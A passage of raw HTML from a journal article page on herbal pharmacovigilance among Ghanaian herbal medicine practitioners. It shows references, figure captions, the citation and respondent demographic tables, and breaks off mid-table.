1386-1397.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk504788061\"></a><a href=\"https://www.ashp.org/-/media/store-files/p4023-frontmatter.ashx\">Murdaugh LB (2007) Competence assessment tools for health-system pharmacies. ASHP.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20701410\">McLernon DJ, Bond CM, Hannaford PC, Watson MC, Lee AJ, et al. (2010) Yellow Card Collaboration. Adverse drug reaction reporting in the uk. Drug safety 33: 775-788.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk504813627\"></a><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/27640819\">Chan SL, Ang X, Sani LL, Ng HY, Winther MD, et al. (2016) Prevalence and characteristics of adverse drug reactions at admission to hospital: a prospective observational study. British journal of clinical pharmacology 82: 1636-1646.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk504813341\"></a><a href=\"https://www.bmj.com/content/329/7456/15\">Pirmohamed M, James S, Meakin S, Green C, Scott AK, et al. (2004) Adverse drug reactions as cause of admission to hospital: prospective analysis of 18 820 patients. Bmj 329: 15-19.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3853675/\">Sultana J, Cutroneo P, Trifir&ograve; G (2013) Clinical and economic burden of adverse drug reactions. Journal of pharmacology &amp; pharmacotherapeutics 4: S73.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/22342381\">Shaw D, Graeme L, Pierre D, Elizabeth W, Kelvin C (2012) Pharmacovigilance of herbal medicine. Journal of ethnopharmacology 140: 513-518.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://content.iospress.com/articles/international-journal-of-risk-and-safety-in-medicine/jrs604\">Awodele O, Daniel A, Popoola TD, Salami EF (2013) A study on pharmacovigilance of herbal medicines in Lagos West Senatorial District, Nigeria. International Journal of Risk &amp; Safety in Medicine 25: 205-217.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scopemed.org/?mno=235910\">Bhanu Prakash G, Subash KR, Vijaya Chandra Reddy K, Sujith Kumar DS, Jyothi Prasad K, et al. (2016) Knowledge, attitude, and practice of pharmacovigilance among Ayurvedic practitioners: A questionnaire survey in Andhra Pradesh, India. National Journal of Physiology, Pharmacy and Pharmacology 6: 475-479.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.scopemed.org/?mno=239823\">Rajesh B, Dharani Devangi R (2017) Assessment of knowledge, attitude, and practice of pharmacovigilance among doctors practicing alternative systems of medicine in Southern India: A questionnaire-based study. National Journal of Physiology, Pharmacy and Pharmacology 7: 119-122.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.wjpr.net/dashboard/abstract_id/2232\">Arun M, Bharat K, Akshay K, Sambit D, Subrat J, et al. (2015) Knowledge, attitude and practices of ADR reporting among practitioners of Indian medicine (Ayurveda): A survey in Odisha, India. World J Pharm Res 4: 1602-1609.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.hindawi.com/journals/ecam/2011/197391/\">Patwardhan K, Gehlot S, Singh G, Rathore HC (2011) The Ayurveda education in India: how well are the graduates exposed to basic clinical skills? Evidence-Based Complementary and Alternative Medicine.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19671176\">Oshikoya KA, Awobusuyi JO (2009) Perceptions of doctors to adverse drug reaction reporting in a teaching hospital in Lagos, Nigeria. BMC Clinical Pharmacology 9: 14.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a name=\"_Hlk505433001\"></a><a href=\"https://medcraveonline.com/JAPLR/JAPLR-04-00123.php\">Charles F, Christian DN, Estella TF, Frederick K, Valentine N (2017) Pharmacovigilance Adverse Drug Reactions reporting: Knowledge, Attitude and Practice study among Health Professionals in Yaound&eacute;, Cameroon. J Anal Pharm Res 4: 00123.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.bioline.org.br/pdf?pr11031\">Fadare JO, Enwere OO, Afolabi AO, Chedi BA, Musa A (2011) Knowledge, attitude and practice of adverse drug reaction reporting among healthcare workers in a tertiary centre in Northern Nigeria. Tropical Journal of Pharmaceutical Research 10: 235-242.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.jyoungpharm.org/article/910\">Thomas TM, Udaykumar P, Scandashree K (2013) A Survey on Knowledge, attitude and practice of adverse drug reaction reporting among doctors in a tertiary health care centre in South India. Int J Pharmacol Clin Sci 2: 82-88.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/40e832cf.jpg\" style=\"height:293px; width:381px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Number of clients the HMPs attend to daily.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/419f80a9.jpg\" style=\"height:264px; width:408px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> Majority, 25 (93.0%) of the HMPs had never seen an ADR form.</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Ameade EPK, Baba MM, Iddrisu NU, Musah AA, Gbedema SY (2018) Herbal Pharmacovigilance: Are Ghanaian Herbal Medicine Practitioners Equipped Enough to Assist in Monitoring the Safety of Herbal Medicines? - A Survey in Tamale, Ghana. Chronic Complement Altern Integra Med: CCAIM-101.</span></span></p>\r\n','<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Variable</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Subgroup</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Frequency</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#ffffff\">Percentage</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Sex</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Male</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">23</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">85.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Female</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"3\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Religion</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Christianity</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">9</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">33.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Islam</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">17</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">63.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">African Traditional Religion</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"3\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Where you grew up</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">City</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">25.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Town</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">40.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Village</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">9</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">33.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"4\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Marital Status</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Single</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Married</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">19</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">70.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Divorced</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Widowed</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"4\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Level of Education</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No formal education</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Basic</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Secondary</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Tertiary</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">16</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">59.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"3\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Tertiary level certificates obtained (n = 13)</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Degree</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Diploma</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">61.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">HND</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">30.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"5\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Age ranges (years)</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">20-29</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">30-39</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">51.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">40-49</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">50-59</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">60-69</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"3\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Number of years of practice</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">&lt; 10</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">66.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10 - 20</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">&gt; 20</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:104.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Form of herbal practice</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Dispensing only</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">9</span></p>\r\n			</td>\r\n			<td style=\"width:103.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">33.3</span></p>\r\n			</td>\r\n			<td>\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Both dispensing and prescribing</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">18</span></p>\r\n			</td>\r\n			<td style=\"width:103.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">66.7</span></p>\r\n			</td>\r\n			<td>\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"4\" style=\"width:107.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>How was skill acquired?</strong></span></p>\r\n			</td>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Workshop</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td style=\"width:103.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.7</span></p>\r\n			</td>\r\n			<td>\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Herbalist</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">21</span></p>\r\n			</td>\r\n			<td style=\"width:103.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">77.8</span></p>\r\n			</td>\r\n			<td>\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Natural skill</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4</span></p>\r\n			</td>\r\n			<td style=\"width:103.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14.8</span></p>\r\n			</td>\r\n			<td>\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:116.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Went to school</span></p>\r\n			</td>\r\n			<td style=\"width:112.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1</span></p>\r\n			</td>\r\n			<td style=\"width:103.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.7</span></p>\r\n			</td>\r\n			<td>\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1: </strong>Socio-demographic characteristics of respondents.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong>Reason for recommending herbal medicines to clients</strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Frequency</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Percentage</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No or less harmful effects</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">16</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">17.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Affordable</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">13</span></p>\r\n			</td>\r\n			<td 